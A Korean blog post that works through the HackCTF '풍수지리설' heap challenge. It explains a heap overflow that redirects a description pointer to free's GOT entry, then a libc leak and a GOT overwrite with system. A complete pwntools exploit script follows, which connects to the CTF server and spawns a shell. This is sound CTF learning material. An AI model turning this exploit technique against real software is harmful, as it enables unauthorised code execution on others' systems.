상세 컨텐츠

본문 제목

[HackCTF] 풍수지리설

SYSTEM HACKING/HackCTF

by koharin 2020. 2. 28. 17:53

본문

728x90
반응형

# protection tech/file info

 


# process

 

1. 3개의 heap 할당

Add(10, ‘A’*10, 10, ‘B’*10)

Add(10, ‘A’*10, 10, ‘B’*10)

Add(10, ‘A’*10, len(binsh), binsh)) -> one gadget 사용할 경우 필요 X

 

freegotsystem으로 덮어서 system(“/bin/sh”)를 트리거할 것

마지막 heapdescription에는 “/bin/sh” 넣어놓음

 

2. 0free

unsorted bin에 등록됨

 

3. heap overflow

pay = ‘A’*120 + 0x10 + 0x10 + p32(free_got)

0번 생성 시 1 UserInfo->descfree got 넣음 => heap overflow

 

fgets 함수로 입력받기 때문에 가능

 

4. 1 display

- libc leak

 

5. 1update_desc

- one_gadget 또는 system으로 덮는다.

 

free got에 가보면 덮힌 것 확인 가능하다.

 

6. 1번 메뉴 delete

- freegotsystem으로 덮혔으므로 2번 청크 store->desc“/bin/sh”있어서 free system(“/bin/sh”) 실행


# exploit code

 

#!/usr/bin/python 
from pwn import *                                                                       

#context.log_level = 'debug'
#p = process("./fengshui")
p = remote("ctf.j0n9hyun.xyz", 3028)
#gdb.attach(p)
elf = ELF("./fengshui")
libc = ELF("./libc.so.6")
binsh = "/bin/sh"
free_got = elf.got['free']

def add(size, name, length, desc):
    p.sendlineafter("Choice: ", '0')
    p.sendlineafter("Size of description: ", str(size))
    p.sendlineafter("Name: ", name)
    p.sendlineafter("Text length: ", str(length))
    p.sendafter("Text: ", desc)

def delete(index):
    p.sendlineafter("Choice: ", '1')
    p.sendlineafter("Index:" , str(index))

def display(index):
    p.sendlineafter("Choice: ", '2')
    p.sendlineafter("Index: ", str(index))

def update(index, length, desc):
    p.sendlineafter("Choice: ", '3')
    p.sendlineafter("Index: ", str(index))
    p.sendlineafter("Text length: ", str(length))
    p.sendafter("Text: ", desc)

add(10, 'A'*10, 10, 'B'*10)
add(10, 'A'*10, 10, 'B'*10)
add(10, 'A'*10, len(binsh), binsh)

delete(0)

pay = 'A'*(120+0x10+0x10) + p32(free_got)
add(120, 'A'*120, len(str(pay)), pay)

#gdb.attach(p)
# libc leak
display(1)
p.recvuntil("Description: ")
free = u32(p.recv(4))
log.info("free : "+hex(free))
libcBase = free - libc.symbols['free']
system = libcBase + libc.symbols['system']

# GOT overwrite
update(1, 4, p32(system))

delete(2)
p.interactive()          

 

# exploit

 


 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] World best encryption tool  (0) 2020.03.09
[HackCTF] babyheap  (0) 2020.03.09
[HackCTF] Register  (0) 2020.02.10
[HackCTF] RTC  (0) 2020.02.03
[HackCTF] You are silver  (0) 2020.01.31

관련글 더보기